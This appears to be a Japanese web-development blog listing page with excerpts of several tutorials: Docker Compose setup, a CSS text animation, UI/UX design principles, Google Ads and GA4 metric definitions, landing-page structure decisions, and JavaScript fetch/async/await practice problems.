起動する cd docker-php docker compose up -d 初回はイメージのダウンロードが入るため数分かかります。2回目以降はキャッシュが効くので数秒です。 古いサンプルをそのまま貼ると動かない理由 上のファイルには version: '3' の行がなく、イメージのタグも他所でよく見るものとは違います。理由は次のとおりです。 よく見る記述2026年8月時点の状況この記事での書き方version: '3'Compose Specificationでobsolete（情報としてしか扱われず、使うと警告が出る）行ごと書かないimage: mysql:5.7arm64版のイメージが存在せず、Apple Silicon Macでは起動に失敗する。MySQL 5.7自体もSustaining Support入りmysql:8.4（LTS・arm64対応）image: php:8.1-apachePHP 8.1はセキュリティ修正も終了済みphp:8.4-apachedb に volumes を書かないコンテナを作り直すとDBの中身が消える名前付きvolume db_data を割り当てる version については、Docker公式のVersion and name top-level elementsに「The top-level version property is defined by the Compose Specification for backward compatibility. It is only informative and you'll receive a warning message that it is obsolete if used」と書かれています。実際にこの行を残したまま docker compose up -d を実行すると、毎回次の警告が出ます。 ### [テキストが点灯するローディングアニメーション｜CSS＋JSで実装](https://codequest.work/fadeglyph-animation-css-js/) 「背景にふわっと現れる文字で、上品な雰囲気を演出したい」 そんな時にぴったりのCSSアニメーションが「FadeGlyph（フェードグリフ）」です。 このアニメーションでは、日本語明朝体フォント「Zen Old Mincho」を使用し、クラシックかつ静かな動きを、CSSとJavaScriptだけで実現します。 この記事では、FadeGlyphの見た目や効果、実装方法、応用アイデアまでを解説します。 デモ：FadeGlyphの動作を確認 See the Pen Untitled by masakazuimai (@masakazuimai) on CodePen. FadeGlyphの特徴 FadeGlyphは、次のような特徴を持つアニメーションです： 明朝体「Zen Old Mincho」を使用（Google Fonts） 文字は ABCDEFG の中からランダムに表示 配置位置もランダムで、ふわっと現れて消える演出 文字サイズもランダムで、浮遊感を演出 JavaScriptは短く、再利用も簡単 アニメーションは @keyframes を使って定義し、CSS側で制御します。 実装のポイント解説 🎨 背景・フォント・配色 背景にはグレージュ（#b1a08a）、文字色には白（#fff）を使うことで、上品で視認性の高い配色を実現しています。フォントは Zen Old Mincho をGoogle Fontsから読み込み、和の雰囲気を表現しています。 💡 ランダム表示の仕組み JavaScriptでは、表示する文字・位置・サイズをすべてランダムにしています。また、一定間隔（2秒ごと）で再表示されるたびに、 アニメーションを再発火することで「ふわっと現れて消える」動作を繰り返します。 カスタマイズのヒント FadeGlyphはとてもシンプルな構成なので、以下のようなカスタマイズも簡単に可能です：- 表示する文字を日本語や絵文字に変更- 文字サイズの範囲を広げたり揃えたりする- 背景に画像やグラデーションを加える- アニメーション時間を変えて、もっとゆっくり or 速くする- アニメーション名を他でも使えるよう統一感を持たせる まとめ FadeGlyphは、文字を使った静かで印象的な背景演出にぴったりなアニメーションです。Zen Old Mincho × ランダム表示 × フェードアニメーション の組み合わせで、 ただの背景を「魅せる演出」に変えることができます。CodePenで簡単に試せるので、ぜひあなたのデザインにも取り入れてみてください！ 文字以外のローディング演出も見たい場合は、ページ遷移アニメーションをコピペで使える無料ツールにスピナーやカウンターなどがまとまっています。読み込み中の画面をまるごと差し替える演出を探せます。 関連リンク Google Fonts - Zen Old Mincho よくある質問（FAQ） Q. FadeGlyphアニメーションとは何ですか？ 文字（グリフ）が一文字ずつフェードインしながら表示されるテキストアニメーション技法です。CSSのopacityとtransformをanimation-delayで段階的に変化させることで、タイピングのように文字が順番に現れる演出を実現します。ヒーローセクションのキャッチコピーやタイトル表示に効果的です。 Q. テキストアニメーションを一文字ずつ表示するには？ JavaScriptでテキストをspan要素に一文字ずつ分割し、各spanにインデックスに応じたanimation-delayを設定します。GSAPを使う場合はSplitTextプラグイン（有料）が便利ですが、無料で実装する場合はinnerHTMLで文字列を分割してspan要素を生成する方法が一般的です。 ### [「デザイン理論」とは？UI/UXデザインの質を上げる6つの基本原則](https://codequest.work/design-theory-uiux/) はじめに デザイン理論とは、配色・文字・配置・バランスなど、視覚表現に関するルールや原則を体系化したものです。UI/UXデザインにおいて「見やすい」「使いやすい」と感じる設計の背後には、すべて論理的な根拠があります。 「UI/UXデザインをもっと良くしたい」「なんとなく整っていない気がする」──そんなとき、感覚だけに頼っていませんか？この記事では、UI/UXデザインの質を高めるために不可欠な6つのデザイン理論をわかりやすく解説します。 デザイン理論とは？ デザイン理論とは、視覚表現に関するルールや原則の集合体です。配色、文字、配置、バランスなど、私たちが「なんとなく美しい」と感じるものには、すべて共通した論理的な根拠があります。 UI/UXデザインは、この理論を理解し応用することで「わかりやすく」「使いやすく」「信頼される」設計になります。 UI/UXデザインとデザイン理論の関係性 UI（ユーザーインターフェース）は、ボタンや入力欄など"見える部分"の設計。UX（ユーザー体験）は、使いやすさや満足感といった"使って得られる印象や感覚"の設計です。 これらを支えるのが、「なぜそうデザインすべきか」を説明できるデザイン理論です。 感覚ではなく、再現性と信頼性のある「設計」にするために、デザイン理論は必要不可欠です。 UI/UXの質を上げる！6つのデザイン理論の基本原則 1. タイポグラフィ：情報の読みやすさを制御する フォントの選び方は「信頼感」や「ブランドイメージ」に直結 サイズや行間を整えることで、情報の優先順位が伝わる 読みやすい文字組みがUXを劇的に向上させる ▶ UX視点で大事なこと：本文と見出しでサイズや太さに明確な差をつけ、視認性を意識すること。 🔗 フォント選びに迷ったら、フォントペアリングプレビューワーで見出し×本文の組み合わせを視覚的に比較できます。 2. カラー理論：感情を動かす色の力 色には「心理的効果」がある（例：青＝安心、赤＝注意） コントラストが適切だと視認性が高まり、操作しやすくなる トーンや配色の一貫性があることで、統一感と安心感を生む ▶ UX視点で大事なこと：操作の誘導やブランドイメージを色で伝えることができる。 🔗 画像やWebサイトから配色を抽出したいときは、画像カラーピッカーで簡単にカラーコードを取得できます。 3. グリッドと整列：視覚的な秩序を作る 要素の位置関係をルール化することで「整った印象」に ユーザーの視線の流れをスムーズに誘導できる 情報のグルーピングが明確になり、理解が早くなる ▶ UX視点で大事なこと：情報が整理されていれば、ユーザーは迷わず目的にたどり着ける。 4. コントラスト：視線を意図通りに動かす 文字や要素の強弱によって「見るべき場所」を明確に ボタンやリンクの優先度を視覚的に伝えられる 目立つ部分・抑える部分のバランスが、使いやすさを左右する ▶ UX視点で大事なこと：ユーザーに「次に何をすればいいか」がすぐにわかるように誘導する。 5. ゲシュタルト原則：人の脳の法則に寄り添う 「近いものはグループに見える」「似ているものは同じに見える」など、人の無意識の知覚法則 UIの要素配置やボタン設計に応用することで、説明なしでも直感的に伝わるデザインができる ▶ UX視点で大事なこと：ユーザーが迷わず使える＝自然なルールを活かすこと。 6. 一貫性と認知負荷の軽減：迷わせないための優しさ サイト内の色、レイアウト、動作に統一感を持たせる ユーザーが学ばなくても操作できるUIを目指す 一貫性のあるデザインは、使いやすさと信頼を生む ▶ UX視点で大事なこと：「前と同じだからわかる」＝ユーザーは安心して操作できる。 実務Tips（ベストプラクティス集） UIとUXを分けて考えない UI（見た目や操作性）とUX（体験全体）は別物ですが、相互に影響し合います。UI改善がUX向上に直結するケースも多く、「どちらを優先するか」ではなく「一体として設計」する意識を持つことが重要です。 一貫性と規則性を守る 色・余白・タイポグラフィ・コンポーネント配置などを一貫させることで、学習コストを下げてユーザーが迷わず操作できます。特に「ボタンは全ページで同じ形と位置」に揃えるなど規則性を徹底。 ユーザー視点の導線設計 情報設計（IA）を丁寧に行い、ユーザーが目的の情報や行動に最短で到達できる導線を作ることがUXの鍵です。ページ遷移やフォームの入力フローを紙に描き出すと改善点が見えやすくなります。 余白はデザインの一部 要素の詰め込みは可読性や操作性を下げます。余白は「呼吸スペース」としてUXを高める役割があり、特にモバイルではタップ領域を確保する意味でも必須です。 視覚的階層を意識する サイズ・色・配置によって「どこから見ればよいか」が直感的に伝わる設計が理想です。F字型やZ字型の視線移動を意識してレイアウトを組むと自然な導線になります。 アクセシビリティを前提にする コントラスト比、キーボード操作対応、代替テキストなどはUI/UX改善の基本です。アクセシビリティを最初から組み込むことで、結果的に誰にとっても使いやすい設計になります。 継続的なユーザーテスト 理論だけでは不十分で、実際のユーザー行動を観察して初めて本質的なUX改善が可能です。小規模でも良いのでテストを繰り返し、仮説検証をサイクル化しましょう。 デザイン理論を実践できるツール デザイン理論を学んだら、実際のプロジェクトで手を動かして試してみましょう。CodeQuestでは、デザイン作業に役立つ無料ツールを公開しています。 フォントペアリングプレビューワー – Google Fontsから見出し×本文のフォント組み合わせをリアルタイムでプレビュー。タイポグラフィの理論を実践的に確認できます。 画像カラーピッカー – 画像をアップロードするだけで主要カラーを自動抽出。カラー理論を意識した配色設計に活用できます。 よく使うツールはブックマークしておくと、次回からすぐにアクセスできます おすすめ参考書籍 デザイン理論をより深く学びたい方に、実務でも役立つ定番書籍を3冊厳選しました。 なるほどデザイン 目で見て楽しむデザインの本。 [ 筒井　美希 ]価格：2,200円（税込、送料無料) (2026/5/10時点) 楽天で購入 ノンデザイナーズ・デザインブック第4版 [ ロビン・ウィリアムズ ]価格：2,398円（税込、送料無料) (2026/5/10時点) 楽天で購入 見てわかる、迷わず決まる配色アイデア3色だけでセンスのいい色 [ ingectar-e ]価格：1,980円（税込、送料無料) (2026/5/10時点) 楽天で購入 まとめ：デザイン理論を知ることは"思いやりの設計"である UI/UXは「見た目を整えること」ではありません。"使う人"にとって親切で、わかりやすく、気持ちの良い体験を作ることが目的です。 「なんとなく良い」から「なぜ良いか説明できる」デザインへ。デザイン理論は、UI/UXを論理的に組み立てるための武器になります。感覚だけでなく理論をベースにしたデザインを身につけ、もっと多くの人に伝わる、届く、使いやすいUI/UXを目指しましょう。 よくある質問（FAQ） Q. デザイン理論とは何ですか？ デザイン理論とは、視覚的な情報伝達を効果的に行うための原則や法則を体系化したものです。近接・整列・反復・コントラスト（C.R.A.P.）が基本4原則で、これらを意識するだけでデザインの品質が大幅に向上します。 Q. UI/UXデザインに理論は必要ですか？ はい。理論を理解すると「なぜこのデザインが効果的なのか」を論理的に説明でき、クライアントへの提案力が向上します。感覚的なデザインは再現性が低いですが、理論に裏打ちされたデザインは一貫した品質を保てます。 Q. UIとUXの違いは何ですか？ UIは「見た目や操作方法」で、UXは「使ったときの体験全体」です。UIが良くてもUXが悪いことはあり、両者は相互に補完する関係です。 Q. UIデザインを勉強すればUXも良くなりますか？ UI改善はUX向上に寄与しますが、それだけでは不十分です。UXには導線設計やコンテンツの質、サポート体制など広範な要素が含まれます。 Q. デザイン理論をどこまで学べばいいですか？ 配色・タイポグラフィ・レイアウト・余白・比率といった基礎理論を理解するだけでもUI/UX設計の質が大きく上がります。すべてを網羅するより、実務で繰り返し使う理論から学ぶのがおすすめです。 Q. UX改善の優先度はどう決めればいいですか？ ユーザー調査やアクセス解析から「離脱率が高い部分」や「不満が集中している部分」を特定し、そこから優先的に改善します。 Q. UI/UX改善でよくある失敗は何ですか？ 見た目の派手さに偏り、使いやすさや導線を犠牲にするケースです。理論よりも「ユーザーが迷わないこと」を常に優先しましょう。 Q. 小規模サイトでもUX改善は必要ですか？ はい。特に小規模サイトは「使いやすい・分かりやすい」が差別化につながります。UXの良さはSEOやCV率にも直結します。 ### [Webマーケティング用語の公式定義｜GA4とGoogle広告の画面で確かめる](https://codequest.work/web-marketing-terms-basics/) Webマーケティングの用語は、Google 広告とGA4（Googleアナリティクス4）で同じ言葉が別の定義になっているものがあります。とくに直帰率はGA4で「エンゲージメントのなかったセッションの割合」に変わっており、離脱率という指標はGA4に存在しません。 この記事は、広告運用とアクセス解析でよく出てくる用語を、Google 広告ヘルプとGoogleアナリティクス ヘルプの現行の記述に1つずつ照らして整理したものです。引用はすべて英語版を正とし、2026年8月2日に取得した本文から引いています。日本語版と英語版で言い回しが違う箇所があるためです。 用語の意味を覚えるだけでは、自分のレポートに出ている数字が本当にその定義で計算されているかは分かりません。そこで記事の後半にある「自分の管理画面で、その数字がどう計算されているか確かめる」に、GA4とGoogle 広告の管理画面で「その数字がどう計算されているか」を自分で確かめる手順を置きました。5つのうち3つ以上を自分の画面で再現できたら、この記事の定義でレポートを読んで構いません。 結論｜GA4で意味が変わった用語と、公式には存在しない用語 先に結論だけ並べます。次の7つは、日本語の解説記事で広く出回っている説明と、現行の公式ヘルプの記述がずれています。詳しい根拠は、このあとの「広告側の指標」と「解析側の指標」で1つずつ確認します。 用語現行の公式ではどうなっているか確かめる場所直帰率エンゲージのなかったセッションの割合。エンゲージメント率の裏返しホーム画面のカードで指標を切り替える。ページ単位で見るなら詳細レポートをカスタマイズユニークユーザー同名の指標はない。画面に出るのはアクティブユーザーGA4の標準レポート離脱率指標として存在しない。あるのは離脱数GA4の探索コンバージョン率分母はクリック数ではなくインタラクション数。100%を超えることがあるGoogle 広告の表示項目CPA公式の見出しは「行動あたりの費用」。獲得ではなく行動Google 広告ヘルプの用語定義CPC上限クリック単価と実際のクリック単価は別の数字Google 広告の平均クリック単価の列CPMディスプレイでは視認範囲のインプレッション単価へ自動で変換されるGoogle 広告の入札設定 いっぽうで、CTR・コンバージョン・インプレッション・ROASの4つは、よく見る説明と公式の記述が一致していました。この4つは今の理解のままで問題ありません。式や例まで含めて公式と同じであることは、次の「広告側の指標」で引用とあわせて示します。 なお、以下の照合はGA4の計測そのものが動いていることが前提です。データが入っていない状態では画面で確かめようがありません。計測が効いているかどうかに不安がある場合と、以前のGoogleアナリティクス（ユニバーサルアナリティクス）のレポート名をGA4に読み替えたい場合は、GA4設置後の動作確認を先に済ませてください。この記事は「指標の定義」だけを担当します。 広告側の指標｜CPC・CTR・CV・CVR・CPA・CPM・ROAS ここからは1指標ずつ、公式の定義・計算式・つまずきやすい点の順に確認します。出典はいずれもGoogle 広告ヘルプの英語版で、2026年8月2日に取得しました。 CPC（Cost-per-click）｜上限と実際は別の数字 CPCは「1クリックあたりにかかる広告費用」と説明されることが多い指標です。ただしこの言い方だと、自分が入札で設定した金額と、実際に課金された金額のどちらを指しているのかが決まりません。公式は、この2つをはっきり分けています。 Your max. CPC is the most you'll typically be charged for a click, but you'll often be charged less - sometimes much less. That final amount you're charged for a click is called your actual CPC. Google 広告ヘルプ「Cost-per-click (CPC): Definition」（英語版・2026年8月2日取得） 上限クリック単価は「1クリックに対して通常課金される上限額」であり、実際にはそれより低い額、ときには大幅に低い額が課金される。実際に課金された最終的な金額を「実際のクリック単価」と呼ぶ、という説明です。管理画面の「平均クリック単価」に出ているのは、この実際のクリック単価を平均した値です。 別ページの平均クリック単価の定義（英語版）には、クリックの費用の合計をクリック数で割って算出すると書かれています。同じページは、その値が「Avg. CPC」という列でキャンペーン画面に出ることも案内しています。 平均クリック単価 ＝ クリックの費用の合計 ÷ クリック数 例：広告費1,000円で20クリック発生 → 平均クリック単価は50円 上限クリック単価は自分が入札で決める額。平均クリック単価と一致しないのが通常 つまずきやすいのは、レポートの平均クリック単価を見て「入札を下げれば単価が下がる」と読むことです。実際のクリック単価がどう決まるかは、後述の「数字を読み違える3つのパターン」の3つ目で公式の記述にそって整理します。 CTR（Clickthrough rate）｜クリック数を表示回数で割る CTRは公式の記述と広く出回っている説明が一致している指標です。式も例もそのまま使えます。 CTR is the number of clicks that your ad receives divided by the number of times your ad is shown: clicks ÷ impressions = CTR. Google 広告ヘルプ「Clickthrough rate (CTR): Definition」（英語版・2026年8月2日取得） 計算式：CTR ＝（クリック数 ÷ 表示回数）× 100（%） 例：広告が1,000回表示され50回クリックされた → CTRは5% 同じページが付け加えているのは2点です。1つは、CTRが高いことは広告や無料リスティングが役に立ち関連性があるとユーザーに受け取られている良い兆候だということ。もう1つは、CTRがキーワードの推定クリック率に影響し、その推定クリック率が広告ランクの構成要素になっているということです。CTRは結果を映す数字であると同時に、次の掲載に効いてくる数字でもあります。 いっぽうで「CTRの目安は何%」という数値は公式に出てきません。同ページは a good CTR is relative to what you're advertising and on which networks（良いCTRは、何を広告しているか・どのネットワークかによって相対的に決まる）と書くにとどめています。業種横断の目安値を掲げた記事を見たら、その数字の出典を確認してください。 CV（Conversion）｜自分で「価値がある」と決めた行動 コンバージョンは、Google 広告では「コンバージョンアクション」という語で定義されています。 A specific customer action that you've defined as valuable to your business, such as an online purchase or phone call. Google 広告ヘルプ「Conversion action: Definition」（英語版・2026年8月2日取得） 要点は「自分の事業にとって価値があると自分で定義した行動」であることです。購入・資料請求・登録・問い合わせ送信のどれをコンバージョンとして数えるかは、広告主が決めます。同ページは、コンバージョンアクションが発生した回数がコンバージョンとして報告される（Occurrences of conversion actions are reported as conversions.）とも書いています。「コンバージョン」は行動そのものではなく、その発生回数の呼び名だということです。 GA4側では、同じ考え方にあたる行動を「キーイベント」と呼びます。呼び名がそろっていないため、広告の管理画面とGA4のレポートを並べて話すときは、どちらの語で話しているかを明示したほうが事故が減ります。 CVR（Conversion rate）｜分母はクリック数ではない この記事でいちばん訂正したい指標です。「クリックしたユーザーのうち何%がコンバージョンしたか」という説明は、公式の定義と合っていません。 The average number of conversions per ad interaction, shown as a percentage. Google 広告ヘルプ「Conversion rate: Definition」（英語版・2026年8月2日取得） 分母は「広告インタラクション」です。インタラクションが何を指すかはインタラクションの定義（英語版）に書かれており、テキスト広告とショッピング広告ではクリックとスワイプ、動画広告では視聴、電話番号アセットでは電話といった具合に、広告フォーマットごとの主要なユーザー行動を指します。 検索広告だけを回しているアカウントなら、インタラクションはほぼクリックと一致するため、クリック数で割った自作の値と管理画面の値は近くなります。ずれるのは動画・ディスプレイ・電話番号アセットを含むときです。「クリック数で割ってもだいたい同じ」ではなく、「検索だけなら近い」が正確な理解になります。 もう1つ、同じページには「複数のコンバージョンアクションを計測している場合、あるいは『すべて』を数える設定にしている場合、1回のインタラクションに複数のコンバージョンが数えられるためコンバージョン率が100%を超えることがある」と明記されています（your conversion rate might be over 100%）。「何%の人がコンバージョンしたか」という言い方が成り立たないのは、この点からも分かります。 計算式：コンバージョン率 ＝（コンバージョン数 ÷ インタラクション数）× 100（%） 公式の例：1,000インタラクションでコンバージョン50件 → 5% CPA（Cost per action）｜「獲得単価」と訳すと語義がずれる CPAは日本語で「顧客獲得単価」と訳され、Cost Per Acquisition の略として紹介されることが多い指標です。ただしGoogle 広告ヘルプの見出しは「Cost per action: Definition」で、Acquisition（獲得）ではなく Action（行動）です。 A cost per action (CPA) is the total cost spent to receive the required actions by your customers. Google 広告ヘルプ「Cost per action: Definition」（英語版・2026年8月2日取得） 同ページは計算式を CPA = MC / A と示し、MCはマーケティング費用、Aは行動の数だと説明しています。購入・登録・申込みなど、何を「必要な行動」とするかは事業側が決めるという建て付けです。「獲得」と訳すと購入だけを指すように読めてしまうため、社外向けの資料では英語表記を添えておくと誤解が減ります。 実績値として見る平均CPAは、別ページの平均CPAの定義（英語版）で、コンバージョンの費用の合計をコンバージョン数で割ると定義されています。 ### [LP1枚か複数ページか｜検索クエリ数と検討期間で決める判定手順](https://codequest.work/seo-lp-vs-multipage/) 「LPを1枚だけ作るか、複数ページのサイトにするか」。この判断で止まっているとき、材料に「LPはSEOに弱いらしい」という話が混ざり込みます。その話を先に外さないと、決まるものも決まりません。 LP1枚か複数ページかは、SEOの強い弱いでは決まりません。決めるのは「その商材を探す人が打つ検索クエリが、答えの違いで何本に割れるか」と「買うまでの検討期間がどれだけ長いか」の2つです。この記事では、その2つを手元で数えて、構成を1つに確定させるところまでを扱います。 すでにLPがあって、検索に出ないことで困っている場合はこの記事ではありません。原因の切り分けはLPが検索に出ない原因の特定手順にまとめてあります。ここで扱うのは、まだ作っていない、あるいは今の1枚を割るかどうかを決める段階です。 先に外す前提｜ページ数はそれ自体では順位を決めない 判定に入る前に、前提を1つ外します。「多ページのほうがSEOに強い」という通説です。これはGoogleの公式ドキュメントと噛み合いません。以下の引用はすべて英語版から2026年8月2日に取得したものです。 サイト構造の作り込みが効き始めるのは数千URLを超えてから Google検索セントラルのSEOスターターガイド（英語版）には、サイトの構成についてこう書かれています。 Don't drop everything and start reorganizing your site right now though: while these suggestions can be helpful long term (especially if you're working on a larger website), search engines will likely understand your pages as they are right now, regardless of how your site is organized. Google検索セントラル「SEO Starter Guide」 「今すぐ全部を放り出してサイトを組み替える必要はない。長期的には役に立つ提案だが、検索エンジンは今の構成のままでもページを理解できるだろう」という意味です。同じページには、構成が効いてくる規模もはっきり書かれています。 If you have more than a few thousand URLs on your site, how you organize your content may have effects on how Google crawls and indexes your site. Google検索セントラル「SEO Starter Guide」 「数千を超えるURLを持つサイトなら、コンテンツの整理の仕方がクロールとインデックスに影響しうる」。裏を返せば、数ページから数十ページの規模では、ディレクトリの切り方が順位を左右する場面はほとんどないということです。「SEOのために多ページにする」という理由は、この規模では成立しません。 分量とE-E-A-Tの話は、別記事で検算済み 「LPは文字数が少ないから弱い」「多ページのほうがE-E-A-Tが育つ」という2つの通説も、公式ドキュメントと衝突します。スターターガイドは分量について「The length of the content alone doesn't matter for ranking purposes」と書き、E-E-A-Tを扱った項目「Thinking E-E-A-T is a ranking factor」には「No, it's not.」と答えています。有用で信頼性の高い、ユーザー第一のコンテンツの作成（英語版）にも「Googleが好む文字数があると聞いたので、その文字数に合わせて書いていませんか（そんなものはありません）」という自己点検の質問が置かれています。 この2点は原文と訳を並べてLPが検索に出ない原因の特定手順で検算しているので、根拠を確かめたい場合はそちらを読んでください。ここでは結論だけを使います。分量もページ数も、それ自体が順位を決める値ではありません。 では孤立した1枚が弱く見えるのはなぜか 実感として「LPは検索に出ない」は当たっていることが多いです。ただし理由は分量ではなく、Googleがそのページに辿り着く道があるかどうかです。Google検索の仕組み（英語版）には、Googleが新しいURLを見つける経路がこう書かれています。 Other pages are discovered when Google extracts a link from a known page to a new page: for example, a hub page, such as a category page, links to a new blog post. Google検索セントラル「In-depth guide to how Google Search works」 「すでに知っているページから新しいページへのリンクをGoogleが抜き出すことで、そのページが見つかる」。広告の着地先としてだけ作られたLPは、どこからもリンクされていないことが珍しくありません。同じページには次の一文もあります。 Indexing isn't guaranteed; not every page that Google processes will be indexed. Google検索セントラル「In-depth guide to how Google Search works」 「インデックスは保証されない。Googleが処理したページのすべてがインデックスされるわけではない」。1枚か複数ページかという構成の話と、Googleに見つけてもらえるかという発見経路の話は、別の問題です。構成をどちらに決めても、すでにあるページから本文中のリンクを1本張るところは共通してやることになります。 今あるページがGoogleから見てどう読めているかを先に確かめたい場合は Direbase（ディレベース） が使えます。URLを入力すると、見出し構造・メタタグ・構造化データをまとめて確認できます。 【判定】3つの数字で、LP1枚か複数ページかを決める ここからが本題です。判定に使うのは次の3つだけで、有料ツールも順位計測も要りません。紙かメモアプリに3行書ければ十分です。 測る3つの数字 測る数字測り方①クエリの本数その商材を探す人が打つ語を書き出し、答えの違う語だけを数える②検討期間初回接触から申込・購入までにかかる日数③更新予定今後1年で情報を書き足す予定があるか ①クエリの本数は「答えの違い」で数える 手順は3つです。 Google検索でその商材の言葉を入れ、サジェストに出た語を書き出す 検索結果の下部にある「他の人はこちらも検索」の語も書き足す 書き出した語のうち、同じ1つの答えで満足する語を1本に畳む 3番目が肝心です。言い方が違うだけの語を別々に数えると、本数が実態より多く出て、要らないページを作ることになります。 実例として、本サイトの記事1本を Search Console で調べた結果を挙げます（2026年5月4日〜7月31日の90日間・2026年8月2日取得）。フォームツールの選び方を書いた1ページが、この期間に10本のクエリで表示されていました。表示回数の多い順に4本を並べます。 クエリ表示回数平均掲載順位lp お問い合わせ フォーム3727.1ランディングページ 問い合わせフォーム3028.6静的サイト 問い合わせフォーム1040.8web3forms79.9 上の2本は言い方が違うだけで、返すべき答えは同じです。この2つは2本ではなく1本と数えます。一方で最後の1本はツール名を名指しで探しているので、返す答えが違います。これは別の1本です。この数え方でいくと、このページの実質的なクエリ本数は3本前後になります。 あわせて分かるのは、1ページが複数のクエリで表示されるのは普通の挙動だということです。「1ページ＝1キーワード」という前提でページ数を決める必要はありません。 ②検討期間は「初回接触から申込までの日数」 手元にデータがあれば、その中央値を使います。無ければ直近10件の申込や商談を思い出して、「その場で決める」「1〜2週間」「1か月以上」の3択で自己申告すれば十分です。判定に使うのは境目だけなので、細かい精度は要りません。 目安として、単価が低く比較対象が少ないものは短くなり、社内の承認や相見積もりが入るものは長くなります。迷ったら長いほうに倒してください。短いと見積もって1枚で作ると、あとで割り直す作業が発生します。 ③1年以内に書き足す予定があるか 事例・実績・料金改定・よくある質問。これらを今後1年で足す予定があるなら「あり」です。予定が無いなら「なし」で構いません。ここが「あり」なら、1枚のページは縦に伸び続けることになります。 判定表｜上から順に見て、最初に当てはまった行を採用する 当てはまる条件結論②が1か月以上、または③が「あり」複数ページで作る②がその場で決める、かつ①が3本以上LPに2〜3ページを足す②がその場で決める、かつ①が1〜2本LP1枚で作る 順番に意味があります。②と③は「読者が何度も戻ってくるか」「情報が増えるか」という時間の軸で、ここに当てはまる時点で1枚には収まりません。①はその次に見る軸です。 なぜこの3つで決まるのか ①答えが1つしか無いのに分けると、中身のよく似たページが並びます。これはGoogleがスパムポリシーで挙げている状態に近づきます（後の章で扱います）。 ②検討期間が長い読者は、同じサイトに2回3回と戻ってきます。1枚に全部積むと、2回目の訪問で目当ての箇所まで延々スクロールさせることになります。 ③書き足す予定があるのに1枚で始めると、増えた情報に直接リンクできません。URLが分かれていないので、「料金はここ」と案内する先が作れません。 【記入例】3つの商材で判定シートを埋めてみる 自分の商材に当てはめる前に、3つの例で埋め方を見てください。3つとも判定結果が違います。 商材埋めた数字判定地域の整体院①3本／②その場／③なしLPに2〜3ページ月額課金の法人向けサービス①7本／②2か月／③あり複数ページ単発のオンラインセミナー①1本／②その場／③なしLP1枚 例1｜地域の整体院 書き出した語は「地名＋整体」「肩こり 整体 地名」「整体 料金 地名」「整体 口コミ 地名」の4つでした。このうち前の2つは、どちらも「どんな院で、何をしてくれるのか」を知りたい語なので1本に畳みます。「料金」と「口コミ」は返す答えが違うので、それぞれ1本。合計3本です。 予約はその場で決まり、書き足す予定もありません。判定は「LPに2〜3ページを足す」。1枚の紹介ページに加えて、料金のページと施術例のページを作る形になります。 例2｜月額課金の法人向けサービス 「サービス名」「カテゴリ名＋比較」「カテゴリ名＋料金」「導入事例」「業務名＋やり方」など、返す答えの違う語が7本ありました。社内の稟議があるため申込までに2か月かかり、導入事例も増やしていく予定です。 ②と③の時点で「複数ページ」が確定します。①を数えるまでもありません。この場合に迷うべきは枚数ではなく、どのページから作るかです。検討期間が長い商材では、比較と料金が最初に読まれます。 例3｜単発のオンラインセミナー 語は「セミナー名」に集約され、実質1本。申込はその場で決まり、開催後に情報を足す予定もありません。判定は「LP1枚」です。 この形は、分けない理由がはっきりしている数少ないケースです。ただし1枚で作る場合も、開催後にそのURLをどう扱うかだけは先に決めておいてください。 ### [JavaScript 非同期処理の練習問題10選｜fetchとasync/awaitで学ぶ基礎と実践](https://codequest.work/javascript-async-practice-questions/) JavaScript練習問題シリーズ JavaScript練習問題シリーズ 非同期処理とは？ JavaScriptにおける非同期処理とは、時間のかかる処理（例えば、サーバーからのデータ取得やファイルの読み込み）を待たずに、他の処理を並行して実行する仕組みです。これにより、ユーザーインターフェースの応答性を維持しながら、バックグラウンドでデータの取得や計算を行うことが可能になります。 非同期処理を実現するための主な手法として、Promiseとasync/awaitがあります。これらを理解し適切に使いこなすことで、効率的で読みやすいコードを書くことができます。 本記事の内容について 本記事では、JavaScriptの非同期処理に関する練習問題を10問ご用意しました。各問題には、HTML構造とscript.jsに分けた解答例を掲載しています。実際に手を動かしながら学ぶことで、非同期処理の理解を深めていきましょう。 本記事の10問は、ブラウザ上でコードを書いてその場で実行できるクイズ版「JavaScript非同期処理クイズ」でも解けます。実際のAPI（JSONPlaceholder）と通信しながら、この10問に加えてアプリ限定ドリル10問（Promiseの自作・race・allSettledなど、計20問）を練習できます。 JS非同期練習アプリ 練習問題①：fetchでAPIからデータ取得（Promise） ボタンをクリックすると、JSONPlaceholderのAPIからデータを取得し、タイトルをアラート表示します。 HTML： <button id="btn1">データ取得（then）</button> JavaScript解答 document.getElementById('btn1').addEventListener('click', () => { fetch('https://jsonplaceholder.typicode.com/todos/1') .then(response => response.json()) .then(data => { alert('タイトル: ' + data.title); }) .catch(error => { alert('エラーが発生しました'); }); }); 練習問題②：async/awaitでAPI取得 上記の問題を、async/awaitを使用して書き換えます。 HTML： <button id="btn2">データ取得（async/await）</button> JavaScript解答 document.getElementById('btn2').addEventListener('click', async () => { try { const response = await fetch('https://jsonplaceholder.typicode.com/todos/1'); const data = await response.json(); alert('タイトル: ' + data.title); } catch (error) { alert('エラーが発生しました'); } }); 練習問題③：ネットワークエラーをハンドリング 存在しないURLにリクエストを送り、エラーをキャッチして適切に処理します。 HTML： <button id="btn3">エラーテスト</button> JavaScript解答 document.getElementById('btn3').addEventListener('click', () => { fetch('https://jsonplaceholder.typicode.com/invalid-url') .then(response => { if (!response.ok) { throw new Error('レスポンスエラー'); } return response.json(); }) .then(data => console.log(data)) .catch(error => { alert('エラー: ' + error.message); }); }); 練習問題④：複数のAPIを順番に取得する 2つのAPIから順番にデータを取得し、それぞれのタイトルを表示します。 HTML： <button id="btn4">2件取得（順番）</button> JavaScript解答 document.getElementById('btn4').addEventListener('click', async () => { try { const response1 = await fetch('https://jsonplaceholder.typicode.com/todos/1'); const data1 = await response1.json(); const response2 = await fetch('https://jsonplaceholder.typicode.com/todos/2'); const data2 = await response2.json(); alert(`1: ${data1.title}\n2: ${data2.title}`); } catch (error) { alert('取得失敗'); } }); 練習問題⑤：Promise.allで同時に取得 複数のAPIを並列で実行し、すべての結果を表示します。 HTML： <button id="btn5">2件取得（同時）</button> JavaScript解答 document.getElementById('btn5').addEventListener('click', async () => { try { const [response1, response2] = await Promise.all([ fetch('https://jsonplaceholder.typicode.com/todos/1'), fetch('https://jsonplaceholder.typicode.com/todos/2') ]); const data1 = await response1.json(); const data2 = await response2.json(); alert(`1: ${data1.title}\n2: ${data2.title}`); } catch (error) { alert('取得エラー'); } }); 練習問題⑥：setTimeoutで遅延表示 ボタンをクリックしてから3秒後に「こんにちは」と表示されるようにします。 